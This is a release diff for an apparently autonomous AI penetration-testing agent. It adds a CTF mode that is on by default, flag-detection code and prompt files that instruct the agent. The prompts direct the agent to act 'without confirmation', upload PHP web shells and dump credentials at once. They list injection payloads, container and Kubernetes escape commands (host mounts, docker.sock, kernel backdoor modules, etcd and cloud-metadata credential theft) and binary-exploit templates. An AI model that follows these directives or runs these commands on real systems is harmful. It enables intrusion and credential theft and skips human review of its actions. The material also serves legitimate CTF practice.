pentesting 0.21.10 → 0.22.0

package/dist/main.js

@@ -157,7 +157,7 @@ var EXIT_CODES = {
 var ID_LENGTH = AGENT_LIMITS.ID_LENGTH;
 var ID_RADIX = AGENT_LIMITS.ID_RADIX;
 var APP_NAME = "Pentest AI";
-var APP_VERSION = "0.21.10";
+var APP_VERSION = "0.22.0";
 var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
 var LLM_ROLES = {
   SYSTEM: "system",
@@ -406,7 +406,8 @@ var EVENT_TYPES = {
   RETRY: "retry",
   USAGE_UPDATE: "usage_update",
   INPUT_REQUEST: "input_request",
-  LOG: "log"
+  LOG: "log",
+  FLAG_FOUND: "flag_found"
 };
 var UI_COMMANDS = {
   HELP: "help",
@@ -423,6 +424,7 @@ var UI_COMMANDS = {
   ASSETS_SHORT: "a",
   LOGS: "logs",
   LOGS_SHORT: "l",
+  CTF: "ctf",
   EXIT: "exit",
   QUIT: "quit",
   EXIT_SHORT: "q"
@@ -1977,6 +1979,16 @@ var StateSerializer = class {
     if (resourceInfo) {
       lines.push(resourceInfo);
     }
+    if (state.isCtfMode()) {
+      lines.push(`Mode: CTF \u{1F3F4}`);
+      const flags = state.getFlags();
+      if (flags.length > 0) {
+        lines.push(`Flags Found (${flags.length}):`);
+        for (const f of flags) {
+          lines.push(`  \u{1F3F4} ${f}`);
+        }
+      }
+    }
     lines.push(`Phase: ${state.getPhase()}`);
     return lines.join("\n");
   }
@@ -1995,7 +2007,10 @@ var SharedState = class {
       actionLog: [],
       currentPhase: PHASES.RECON,
       missionSummary: "",
-      missionChecklist: []
+      missionChecklist: [],
+      ctfMode: true,
+      // CTF mode ON by default
+      flags: []
     };
   }
   // --- Mission & Persistent Context ---
@@ -2135,6 +2150,21 @@ var SharedState = class {
   getPhase() {
     return this.data.currentPhase;
   }
+  // --- CTF Mode ---
+  setCtfMode(enabled) {
+    this.data.ctfMode = enabled;
+  }
+  isCtfMode() {
+    return this.data.ctfMode;
+  }
+  addFlag(flag) {
+    if (this.data.flags.includes(flag)) return false;
+    this.data.flags.push(flag);
+    return true;
+  }
+  getFlags() {
+    return this.data.flags;
+  }
   /**
    * @remarks
    * WHY: Delegating complex string builder to specialized serializer.
@@ -6800,6 +6830,35 @@ function loadState(state) {
   }
 }
 
+// src/shared/utils/ctf-knowledge.ts
+var FLAG_PATTERNS = {
+  // Generic CTF flag formats
+  generic: /flag\{[^}]+\}/gi,
+  curly_upper: /FLAG\{[^}]+\}/g,
+  // Platform-specific
+  htb: /HTB\{[^}]+\}/g,
+  thm: /THM\{[^}]+\}/g,
+  picoCTF: /picoCTF\{[^}]+\}/g,
+  ctfd_generic: /[A-Z]{2,10}\{[^}]+\}/g,
+  // Hash-style flags (HTB user.txt / root.txt — 32-char hex)
+  hash_flag: /\b[a-f0-9]{32}\b/g,
+  // Base64-encoded flag detection (common in steganography/forensics)
+  base64_flag: /flag\{[A-Za-z0-9_+\-/=]+\}/gi
+};
+var MIN_FLAG_SCAN_LENGTH = 5;
+function detectFlags(output) {
+  if (!output || output.length < MIN_FLAG_SCAN_LENGTH) return [];
+  const found = /* @__PURE__ */ new Set();
+  for (const pattern of Object.values(FLAG_PATTERNS)) {
+    pattern.lastIndex = 0;
+    const matches = output.match(pattern);
+    if (matches) {
+      for (const m of matches) found.add(m);
+    }
+  }
+  return Array.from(found);
+}
+
 // src/agents/core-agent.ts
 var CoreAgent = class _CoreAgent {
   llm;
@@ -7223,6 +7282,7 @@ Please decide how to handle this error and continue.`;
         }
       }
       this.emitToolResult(call.name, result2.success, outputText, result2.error, Date.now() - toolStartTime);
+      this.scanForFlags(outputText);
       return { toolCallId: call.id, output: outputText, error: result2.error };
     } catch (error) {
       const errorMsg = String(error);
@@ -7311,6 +7371,35 @@ Please decide how to handle this error and continue.`;
     }));
   }
   // ─────────────────────────────────────────────────────────────────
+  // SUBSECTION: CTF Flag Detection
+  // ─────────────────────────────────────────────────────────────────
+  /**
+   * Scan tool output for CTF flag patterns.
+   * When a new flag is detected, store it in state and emit event.
+   *
+   * @remarks
+   * WHY: Automatic flag detection eliminates manual flag hunting in CTF competitions.
+   * Called after every tool execution — zero overhead when CTF mode is OFF.
+   */
+  scanForFlags(output) {
+    if (!this.state.isCtfMode()) return;
+    const flags = detectFlags(output);
+    for (const flag of flags) {
+      const isNew = this.state.addFlag(flag);
+      if (isNew) {
+        this.events.emit({
+          type: EVENT_TYPES.FLAG_FOUND,
+          timestamp: Date.now(),
+          data: {
+            flag,
+            totalFlags: this.state.getFlags().length,
+            phase: this.state.getPhase()
+          }
+        });
+      }
+    }
+  }
+  // ─────────────────────────────────────────────────────────────────
   // SUBSECTION: Abort Helpers
   // ─────────────────────────────────────────────────────────────────
   isAbortError(error) {
@@ -7334,6 +7423,7 @@ import { fileURLToPath as fileURLToPath5 } from "url";
 // src/shared/constants/prompts.ts
 var PROMPT_PATHS = {
   BASE: "base.md",
+  CTF_MODE: "ctf-mode.md",
   AGENT_FILES: {
     ORCHESTRATOR: "orchestrator.md",
     RECON: "recon.md",
@@ -7413,15 +7503,15 @@ var CORE_KNOWLEDGE_FILES = [
   // Detection avoidance (always relevant)
 ];
 var PHASE_TECHNIQUE_MAP = {
-  [PHASES.RECON]: ["network-svc", "shells"],
-  [PHASES.VULN_ANALYSIS]: ["injection", "network-svc", "file-attacks"],
-  [PHASES.EXPLOIT]: ["injection", "shells", "file-attacks", "network-svc"],
-  [PHASES.POST_EXPLOIT]: ["privesc", "lateral", "auth-access", "shells"],
-  [PHASES.PRIV_ESC]: ["privesc", "auth-access", "shells"],
-  [PHASES.LATERAL]: ["lateral", "ad-attack", "auth-access"],
+  [PHASES.RECON]: ["network-svc", "shells", "crypto"],
+  [PHASES.VULN_ANALYSIS]: ["injection", "network-svc", "file-attacks", "crypto"],
+  [PHASES.EXPLOIT]: ["injection", "shells", "file-attacks", "network-svc", "pwn", "container-escape"],
+  [PHASES.POST_EXPLOIT]: ["privesc", "lateral", "auth-access", "shells", "container-escape"],
+  [PHASES.PRIV_ESC]: ["privesc", "auth-access", "shells", "pwn", "container-escape"],
+  [PHASES.LATERAL]: ["lateral", "ad-attack", "auth-access", "container-escape"],
   [PHASES.PERSISTENCE]: ["shells", "privesc"],
   [PHASES.EXFIL]: ["lateral", "network-svc"],
-  [PHASES.WEB]: ["injection", "file-attacks", "auth-access"],
+  [PHASES.WEB]: ["injection", "file-attacks", "auth-access", "crypto"],
   [PHASES.REPORT]: []
   // Report phase needs no attack techniques
 };
@@ -7446,6 +7536,7 @@ var PromptBuilder = class {
   build(userInput, phase) {
     const fragments = [
       this.loadPromptFile(PROMPT_PATHS.BASE),
+      this.loadCtfModePrompt(),
       this.loadPhasePrompt(phase),
       this.loadCoreKnowledge(phase),
       this.loadPhaseRelevantTechniques(phase),
@@ -7456,6 +7547,17 @@ var PromptBuilder = class {
     ];
     return fragments.filter((f) => !!f).join("\n\n");
   }
+  /**
+   * Load CTF mode prompt when CTF mode is active.
+   * Adds ~3K tokens of CTF-specific strategy and flag hunting protocol.
+   */
+  loadCtfModePrompt() {
+    if (!this.state.isCtfMode()) return "";
+    const content = this.loadPromptFile(PROMPT_PATHS.CTF_MODE);
+    return content ? `<ctf-mode active="true">
+${content}
+</ctf-mode>` : "";
+  }
   /**
    * Load a prompt file from src/agents/prompts/
    */
@@ -7649,6 +7751,14 @@ var MainAgent = class extends CoreAgent {
   getEventEmitter() {
     return this.events;
   }
+  toggleCtfMode() {
+    const newState = !this.state.isCtfMode();
+    this.state.setCtfMode(newState);
+    return newState;
+  }
+  isCtfMode() {
+    return this.state.isCtfMode();
+  }
   setScope(allowed, exclusions = []) {
     this.state.setScope({
       allowedCidrs: allowed.filter((a) => a.includes("/")),
@@ -7983,6 +8093,7 @@ var HELP_TEXT = `
 /findings        Show discovered vulnerabilities
 /assets          List active background processes (listeners, shells)
 /logs <id>       Show full logs for a specific asset
+/ctf             Toggle CTF mode (default: ON)
 /auto            Toggle auto-approve mode
 /clear           Clear screen
 /exit            Exit
@@ -7991,11 +8102,13 @@ var HELP_TEXT = `
 \u2022 Auto-install missing tools (apt/brew)
 \u2022 Transparent command execution
 \u2022 Interactive sudo password input
+\u2022 CTF mode: Auto flag detection & CTF-specific prompts
 
 \u2500\u2500 Examples \u2500\u2500
 /target 192.168.1.1
 /start "Full pentest on target"
 /findings
+/ctf             (toggle CTF/standard mode)
 /auto            (toggle approval mode)
 `;
 
@@ -8140,6 +8253,9 @@ var useAgentEvents = (agent, eventsRef, state) => {
       lastStepTokensRef.current = stepTokens;
       setCurrentTokens(tokenAccumRef.current + stepTokens);
     };
+    const onFlagFound = (e) => {
+      addMessage("system", `\u{1F3F4} FLAG FOUND: ${e.data.flag}  (total: ${e.data.totalFlags})`);
+    };
     setInputHandler((p) => {
       return new Promise((resolve) => {
         const isPassword = /password|passphrase/i.test(p);
@@ -8192,6 +8308,7 @@ var useAgentEvents = (agent, eventsRef, state) => {
     events.on(EVENT_TYPES.ERROR, onError);
     events.on(EVENT_TYPES.RETRY, onRetry);
     events.on(EVENT_TYPES.USAGE_UPDATE, onUsageUpdate);
+    events.on(EVENT_TYPES.FLAG_FOUND, onFlagFound);
     events.on(EVENT_TYPES.STATE_CHANGE, updateStats);
     events.on(EVENT_TYPES.START, updateStats);
     updateStats();
@@ -8812,6 +8929,10 @@ var App = ({ autoApprove = false, target }) => {
 ${procData.stdout || "(no output)"}
 --- End Log ---`);
         break;
+      case UI_COMMANDS.CTF:
+        const ctfEnabled = agent.toggleCtfMode();
+        addMessage("system", ctfEnabled ? "\u{1F3F4} CTF mode ON \u2014 flag detection active, CTF prompts loaded" : "\u{1F512} CTF mode OFF \u2014 standard pentest mode");
+        break;
       case "auto":
         setAutoApproveMode((prev) => {
           const newVal = !prev;

package/dist/prompts/ctf-mode.md

@@ -0,0 +1,97 @@
+# CTF Competition Mode — Active
+
+You are in **CTF mode**. This changes your behavior in key ways vs standard pentesting.
+
+## CTF vs Standard Pentest — Behavioral Shifts
+
+| Aspect | Standard Pentest | CTF Mode (YOU NOW) |
+|--------|------------------|-------------------|
+| Goal | Find vulnerabilities | **Find FLAGS** |
+| Stealth | Essential | **Not needed — GO LOUD** |
+| Time | Days/weeks | **Hours — SPEED IS EVERYTHING** |
+| Clues | None | **Creators leave breadcrumbs — READ THEM** |
+| Vulnerabilities | May not exist | **ALWAYS exist — keep looking** |
+
+## 🏴 Flag Hunting Protocol — MANDATORY After Every Access Change
+
+**After EVERY privilege change (new shell, new user, root access):**
+```
+PARALLEL immediately:
+1. find / -maxdepth 4 \( -name 'flag*' -o -name 'user.txt' -o -name 'root.txt' -o -name 'proof.txt' \) 2>/dev/null
+2. grep -ri 'flag{' /home /root /opt /var/www /tmp /srv 2>/dev/null | head -20
+3. env | grep -i flag
+4. Check databases: SELECT * FROM flags; or equivalent
+5. cat /root/root.txt /home/*/user.txt 2>/dev/null
+```
+
+**On Windows targets:**
+```
+dir /s /b C:\*flag* C:\*user.txt C:\*root.txt 2>nul
+type C:\Users\Administrator\Desktop\root.txt 2>nul
+type C:\Users\*\Desktop\user.txt 2>nul
+```
+
+## 🕵️ CTF Breadcrumb Detection
+
+CTF challenge creators ALWAYS leave clues. Look for them:
+- **README files** in web directories or home folders
+- **Unusual filenames** — anything that doesn't belong on a standard system
+- **Comments in source code** — HTML comments, JS comments, CSS comments
+- **Hints in error messages** — custom error pages often contain hints
+- **robots.txt** — disallowed paths are INTENTIONAL hints
+- **Custom HTTP headers** — X-Flag, X-Hint, X-Secret
+- **Base64 strings** in unusual places — decode them
+- **Steganography markers** — unusual file sizes, EXIF data
+
+## ⚡ CTF Speed Optimization
+
+### Parallel Everything
+```
+Turn 1 (ALWAYS):
+├── nmap -sV -sC -T4 --min-rate=1000 -p- <target> (background)
+├── nmap -sU --top-ports=50 -T4 <target> (background)
+├── web_search("<target> CTF writeup") — check for existing writeups
+└── If web port: gobuster/ffuf directory enumeration (background)
+```
+
+### No Confirmation, No Hesitation
+- See a login form? Try admin:admin, admin:password, guest:guest IMMEDIATELY
+- See a file upload? Upload a PHP web shell IMMEDIATELY
+- See a version number? Search for exploits IMMEDIATELY
+- See source code? Read EVERY line for hardcoded secrets
+- See a database? Dump credentials table IMMEDIATELY
+
+### Time Boxes — Don't Get Stuck
+- **5 minutes** on any single attack vector. If no progress → MOVE ON
+- **15 minutes** on any single service. If no progress → different service
+- Never spend time "planning" — ACT and learn from results
+- If stuck for 10+ minutes → `web_search("{service} CTF writeup hacktricks")`
+
+## 🎯 CTF Common Vulnerability Checklist
+
+Try these IN ORDER for every web application (highest probability first):
+1. **Source code disclosure** — view-source, .git, .bak, .swp, robots.txt
+2. **Default credentials** — admin:admin, then web_search("{application} default password")
+3. **SQL Injection** — ' OR 1=1--, ' UNION SELECT, sqlmap --batch
+4. **SSTI** — {{7*7}}, ${7*7}, #{7*7}, <%=7*7%>
+5. **Command Injection** — ;id, |id, $(id), `id`
+6. **File inclusion** — ../../../../etc/passwd, php://filter
+7. **JWT attacks** — algorithm none, weak secret, kid injection
+8. **Deserialization** — PHP (O:...), Java (rO0...), Python pickle
+9. **SSRF** — http://169.254.169.254, http://localhost
+10. **Race condition** — concurrent requests to same endpoint
+
+## 🔍 Flag Format Awareness
+
+The system automatically detects flags in tool output. Common formats:
+- `flag{...}` — generic
+- `HTB{...}` — HackTheBox
+- `THM{...}` — TryHackMe
+- `picoCTF{...}` — PicoCTF
+- 32-char hex hash — HTB user.txt/root.txt
+- `XXXX{...}` — custom CTF format
+
+When a flag is detected, it is **automatically recorded**. But also:
+- Check if the flag needs to be submitted to a scoreboard
+- Some CTFs have multiple flags per challenge — keep hunting after first flag
+- Flags may be encoded (base64, hex, rot13) — decode suspicious strings

package/dist/prompts/techniques/container-escape.md

@@ -0,0 +1,103 @@
+# Container Escape & Cloud Attack Techniques
+
+## Docker Container Detection
+```
+Am I in a container?
+├── cat /proc/1/cgroup → contains "docker" or container ID?
+├── ls /.dockerenv → exists = Docker container
+├── hostname → random hex string = likely container
+├── mount | grep overlay → overlay filesystem = container
+├── cat /proc/self/status | grep CapEff → limited capabilities?
+└── env | grep -i docker → Docker-related env vars?
+```
+
+## Docker Escape Techniques
+```
+1. Privileged container (--privileged):
+   ├── Full device access → mount host filesystem
+   │   mkdir /mnt/host && mount /dev/sda1 /mnt/host
+   │   cat /mnt/host/root/root.txt
+   ├── nsenter: nsenter --target 1 --mount --uts --ipc --net --pid
+   └── Load kernel module: insmod backdoor.ko
+
+2. Docker socket mounted (-v /var/run/docker.sock):
+   ├── docker -H unix:///var/run/docker.sock ps
+   ├── Create privileged container:
+   │   docker run -it --privileged --pid=host -v /:/host ubuntu chroot /host
+   └── Access host filesystem through new container
+
+3. Dangerous capabilities:
+   ├── CAP_SYS_ADMIN → mount host devices, use nsenter
+   ├── CAP_SYS_PTRACE → process injection, debug host processes
+   ├── CAP_NET_ADMIN → ARP spoof, network manipulation
+   ├── CAP_DAC_READ_SEARCH → read any file
+   └── Check: capsh --print | grep Current
+
+4. Writable host paths:
+   ├── If anything is mounted from host (-v /hostpath:/container):
+   │   Write to that path to affect host
+   ├── Common: /var/log, /tmp, /opt, config directories
+   └── Write crontab/SSH key to mounted host path
+
+5. Kernel exploits:
+   ├── Container shares kernel with host
+   ├── uname -r → search for kernel CVEs
+   ├── CVE-2022-0847 (DirtyPipe)
+   ├── CVE-2022-0185 (fsconfig heap overflow)
+   └── CVE-2024-21626 (runc breakout via /proc/self/fd)
+
+6. Docker API (2375/2376):
+   ├── Unauthenticated Docker API = instant host compromise
+   ├── docker -H tcp://<target>:2375 ps
+   └── Create privileged container mounting host /
+```
+
+## Kubernetes Escape
+```
+1. Service account token:
+   ├── cat /var/run/secrets/kubernetes.io/serviceaccount/token
+   ├── Use token to query API: curl -sk https://kubernetes.default.svc/api/v1/
+   ├── Enumerate permissions: kubectl auth can-i --list
+   └── If can create pods → privileged pod escape
+
+2. Privileged pod:
+   ├── Create pod with hostPID, hostNetwork, privileged: true
+   ├── Mount host filesystem: volumeMounts hostPath /
+   └── nsenter --target 1 --mount --uts --ipc --net --pid bash
+
+3. etcd access:
+   ├── etcd often unauthenticated on port 2379
+   ├── Contains ALL K8s secrets: etcdctl get --prefix /registry/secrets
+   └── Includes service account tokens, DB passwords, etc.
+
+4. Common K8s misconfigs:
+   ├── Dashboard without auth (port 8443/30000)
+   ├── Tiller (Helm v2) without auth → arbitrary K8s operations
+   ├── Kubelet API (10250) without auth → exec into any pod
+   │   curl -sk https://<node>:10250/pods
+   │   curl -sk https://<node>:10250/exec/<ns>/<pod>/<container> -d "cmd=id"
+   └── RBAC misconfiguration → escalate to cluster-admin
+```
+
+## Cloud Metadata
+```
+Cloud metadata endpoints (SSRF targets):
+├── AWS:    http://169.254.169.254/latest/meta-data/
+│   ├── /iam/security-credentials/ → IAM role credentials
+│   ├── /user-data → startup scripts (often contain secrets)
+│   └── IMDSv2: TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+│       curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
+├── GCP:    http://metadata.google.internal/computeMetadata/v1/
+│   └── Requires header: Metadata-Flavor: Google
+├── Azure:  http://169.254.169.254/metadata/instance?api-version=2021-02-01
+│   └── Requires header: Metadata: true
+└── DigitalOcean: http://169.254.169.254/metadata/v1/
+
+Post-exploitation with cloud creds:
+├── AWS: Configure aws cli → enumerate IAM, S3, Lambda, EC2
+│   aws sts get-caller-identity
+│   aws s3 ls
+│   aws iam list-users
+├── GCP: gcloud auth activate-service-account → enumerate
+└── Azure: az login → enumerate resources
+```

package/dist/prompts/techniques/crypto.md

@@ -0,0 +1,76 @@
+# Cryptography Attack Techniques
+
+## Hash Cracking
+```
+Identify hash type:
+├── hashid <hash> OR hash-identifier
+├── Online: hashes.com, crackstation.net
+└── hashcat --example-hashes | grep -B1 <hash_start>
+
+Crack with hashcat:
+├── MD5:     hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
+├── SHA1:    hashcat -m 100 hash.txt rockyou.txt
+├── SHA256:  hashcat -m 1400 hash.txt rockyou.txt
+├── bcrypt:  hashcat -m 3200 hash.txt rockyou.txt
+├── NTLM:    hashcat -m 1000 hash.txt rockyou.txt
+├── Kerberos TGS: hashcat -m 13100 hash.txt rockyou.txt
+├── NetNTLMv2: hashcat -m 5600 hash.txt rockyou.txt
+└── With rules: hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
+
+John the Ripper:
+├── john --wordlist=rockyou.txt hash.txt
+├── john --show hash.txt
+└── john --rules=All hash.txt
+```
+
+## RSA Attacks
+```
+When you find RSA parameters (n, e, c, p, q):
+
+Small n → factor with:
+├── factordb.com (online)
+├── RsaCtfTool: python3 RsaCtfTool.py -n <n> -e <e> --uncipher <c>
+└── yafu: yafu "factor(n)"
+
+Common RSA weaknesses:
+├── Small e (e=3) → cube root attack
+├── Common modulus → shared p or q between keys
+├── Wiener's attack → small d (large e)
+├── Hastad's broadcast → same m encrypted with different n, same small e
+├── Bleichenbacher → padding oracle on PKCS#1 v1.5
+├── Fermat factoring → p and q close together
+└── Twin prime → p = q ± 2
+
+Python template:
+from Crypto.Util.number import *
+n, e, c = ...
+# After finding p, q:
+phi = (p-1)*(q-1)
+d = inverse(e, phi)
+m = pow(c, d, n)
+print(long_to_bytes(m))
+```
+
+## Classical Ciphers
+```
+Common in CTF misc/crypto:
+├── Caesar/ROT13: Try all 26 shifts → dcode.fr/caesar-cipher
+├── Vigenère: Key analysis → dcode.fr/vigenere-cipher
+├── XOR: Single-byte XOR brute → CyberChef XOR Brute Force
+├── Substitution: Frequency analysis → quipqiup.com
+├── Base encodings:
+│   ├── Base64: = padding, A-Za-z0-9+/
+│   ├── Base32: = padding, A-Z2-7
+│   └── Base85/ASCII85: ~> delimiter
+├── Hex: 0-9a-f only → xxd -r -p
+└── Morse/Braille/Semaphore: visual pattern recognition
+```
+
+## Padding Oracle Attack
+```
+When you can detect valid vs invalid padding:
+├── padbuster: padbuster <URL> <encrypted_sample> <block_size>
+│   Options: -cookies "auth=<encrypted>" -encoding 0 (lowercase hex)
+├── Manual: Compare response to correct vs incorrect padding
+└── Decrypt AND forge new tokens — often leads to admin access
+```

package/dist/prompts/techniques/forensics.md

@@ -0,0 +1,89 @@
+# Forensics & Steganography Techniques
+
+## File Analysis
+```
+First steps with any file:
+├── file <file>          → identify type
+├── strings <file>       → extract readable strings
+├── strings -el <file>   → UTF-16 strings (Windows)
+├── xxd <file> | head    → hex dump
+├── exiftool <file>      → metadata (GPS, creator, timestamps, hidden fields)
+├── binwalk <file>       → embedded files/filesystems
+│   └── binwalk -e <file>  → extract embedded files
+└── foremost <file>      → file carving
+```
+
+## Steganography
+```
+Image stego:
+├── steghide extract -sf <image.jpg> -p ""    → try empty password first
+├── steghide extract -sf <image.jpg> -p <pw>  → with password
+├── stegseek <image.jpg> /usr/share/wordlists/rockyou.txt  → brute force
+├── zsteg <image.png>    → PNG/BMP LSB analysis
+├── pngcheck <image.png> → PNG structure validation
+├── Compare file size to expected → hidden data after IEND (PNG) or EOI (JPEG)
+└── CyberChef: Extract LSB, XOR, decompress
+
+Audio stego:
+├── Audacity: spectrogram view (View → Spectrogram)
+├── sonic-visualiser: layer analysis
+├── DTMF decoder: for phone tones
+├── morse-decoder: for morse code audio
+└── Look for hidden images in spectrograms
+
+Text stego:
+├── Whitespace stego: stegsnow -C <file>
+├── Zero-width characters: Unicode U+200B, U+200C, U+200D
+└── Line-ending manipulation: CRLF vs LF patterns
+```
+
+## Network Forensics (PCAP)
+```
+Wireshark / tshark analysis:
+├── tshark -r file.pcap -T fields -e data     → raw data extraction
+├── tshark -r file.pcap -Y "http" -T fields -e http.request.uri
+├── tshark -r file.pcap -Y "ftp" -T fields -e ftp.request.arg
+├── Follow TCP stream: tcp.stream eq <N>
+├── Export HTTP objects: File → Export Objects → HTTP
+├── DNS exfiltration: Check TXT records for base64 data
+├── ICMP tunneling: Check data field in ICMP packets
+└── Extract files: binwalk, foremost on raw TCP stream data
+
+Key filters:
+├── http.request.method == "POST"  → credential submissions
+├── ftp.request.command == "PASS"  → FTP passwords
+├── smtp contains "AUTH"           → email credentials
+├── tcp.flags.syn == 1             → connection attempts
+└── frame contains "flag"          → direct flag search
+```
+
+## Memory Forensics
+```
+Volatility 3 (preferred):
+├── vol3 -f memory.dmp windows.info
+├── vol3 -f memory.dmp windows.pslist      → process list
+├── vol3 -f memory.dmp windows.filescan    → file handles
+├── vol3 -f memory.dmp windows.cmdline     → command history
+├── vol3 -f memory.dmp windows.hashdump    → password hashes
+├── vol3 -f memory.dmp windows.netscan     → network connections
+├── vol3 -f memory.dmp windows.dumpfiles   → extract files
+└── strings memory.dmp | grep -i "flag\|password\|secret"
+
+Volatility 2 (legacy):
+├── vol.py -f memory.dmp imageinfo
+├── vol.py -f memory.dmp --profile=<profile> pslist
+└── vol.py -f memory.dmp --profile=<profile> hashdump
+```
+
+## Disk Forensics
+```
+├── fdisk -l disk.img               → partition layout
+├── mount -o loop,ro disk.img /mnt  → mount read-only
+├── autopsy                         → GUI forensic suite
+├── sleuthkit (fls, icat)          → file system analysis
+│   ├── fls -r disk.img            → list all files (including deleted)
+│   └── icat disk.img <inode>      → extract file by inode
+├── photorec disk.img              → recover deleted files
+└── Check alternate data streams (Windows NTFS):
+    └── dir /r → lists ADS
+```

package/dist/prompts/techniques/pwn.md

@@ -0,0 +1,126 @@
+# Binary Exploitation (Pwn) Techniques
+
+## Recon — Identify Protections
+```
+Before exploiting, understand what you're dealing with:
+├── file <binary>           → architecture, linking, stripped?
+├── checksec --file=<binary> → NX, PIE, RELRO, Canary, FORTIFY
+├── strings <binary>        → hardcoded strings, function names
+├── ltrace ./<binary>       → library calls (strcmp, system, gets)
+├── strace ./<binary>       → system calls
+├── readelf -s <binary>     → symbol table
+├── objdump -d <binary>     → disassembly (or use radare2/Ghidra)
+└── ldd <binary>            → linked libraries + ASLR check
+```
+
+## Stack Buffer Overflow
+```
+Classic BOF flow:
+1. Find overflow length:
+   python3 -c "print('A'*100)" | ./<binary>
+   → Use pattern_create to find exact offset:
+   msf-pattern_create -l 200
+   msf-pattern_offset -q <EIP_value>
+
+2. Control EIP:
+   python3 -c "print('A'*offset + 'BBBB')" | ./<binary>
+   → EIP should be 0x42424242
+
+3. Find return address:
+   ├── No NX: JMP ESP in binary or libc
+   │   objdump -d <binary> | grep "jmp.*esp"
+   ├── NX enabled: ROP (Return Oriented Programming)
+   └── ASLR: ret2libc or leak libc address
+
+Pwntools template:
+from pwn import *
+p = process('./<binary>')  # or remote('host', port)
+offset = <N>
+payload = b'A' * offset
+payload += p64(ret_addr)   # or p32 for 32-bit
+payload += <shellcode_or_rop>
+p.sendline(payload)
+p.interactive()
+```
+
+## Return Oriented Programming (ROP)
+```
+When NX is enabled (no shellcode execution on stack):
+
+Find gadgets:
+├── ROPgadget --binary <binary> --ropchain
+├── ropper -f <binary> --search "pop rdi"
+└── Common gadgets: pop rdi; ret, pop rsi; ret, ret (for alignment)
+
+ret2libc:
+├── Leak libc address → calculate system() and "/bin/sh" offsets
+├── Pwntools: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
+│   system_addr = libc.symbols['system']
+│   bin_sh = next(libc.search(b'/bin/sh'))
+└── Payload: pop_rdi + bin_sh + system
+
+ret2win pattern:
+├── Find a "win" function (prints flag, spawns shell)
+├── Payload: padding + win_function_address
+└── With PIE: Need a leak first, then calculate offset
+```
+
+## Format String Vulnerability
+```
+Detection: Send %x.%x.%x.%x → if hex values appear, vulnerable
+
+Read memory:
+├── %p.%p.%p... → leak stack values (find canary, addresses)
+├── %N$p        → read Nth argument directly
+└── %s          → read string at address on stack
+
+Write memory (overwrite GOT, return address):
+├── %n → writes number of characters printed so far
+├── %N$n → write to Nth argument
+├── %hn → write 2 bytes (short)
+├── %hhn → write 1 byte
+└── Pwntools fmtstr_payload: simplifies format string writes
+
+Pwntools:
+from pwn import *
+p = process('./<binary>')
+payload = fmtstr_payload(offset, {target_addr: desired_value})
+p.sendline(payload)
+```
+
+## Heap Exploitation
+```
+Common techniques:
+├── Use After Free (UAF): allocate → free → allocate same size → use old pointer
+├── Double Free: free same chunk twice → overlapping allocations
+├── Heap Overflow: overflow into next chunk metadata
+├── Tcache poisoning (glibc 2.26+): corrupt tcache fd pointer
+├── Fastbin dup: double free in fastbin → arbitrary write
+└── House of Force: corrupt top chunk size → arbitrary allocation
+
+Debug with gdb + gef/pwndbg:
+├── heap bins → show free chunk bins
+├── heap chunks → show all chunks
+├── vis_heap_chunks → visual heap layout
+└── x/20gx <addr> → examine memory
+```
+
+## Shellcode
+```
+When NX is disabled (rare in modern, common in CTF):
+├── msfvenom -p linux/x64/exec CMD="/bin/sh" -f python
+├── pwntools: shellcode = asm(shellcraft.sh())
+├── Avoid null bytes: Use alternative instructions
+│   xor eax, eax (instead of mov eax, 0)
+└── Size constraints → use short shellcode or staged
+```
+
+## Common CTF Pwn Patterns
+```
+├── gets() / scanf("%s") → always overflows → classic BOF
+├── printf(user_input) → format string → read/write memory
+├── Custom malloc → heap challenge → find corruption primitive
+├── seccomp → restricted syscalls → use allowed ones (open/read/write)
+├── Binary with SUID bit → exploit → get that user's privileges
+└── Server binary on remote port → connect and exploit live
+```

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "pentesting",
-  "version": "0.21.10",
+  "version": "0.22.0",
   "description": "Autonomous Penetration Testing AI Agent",
   "type": "module",
   "main": "dist/main.js",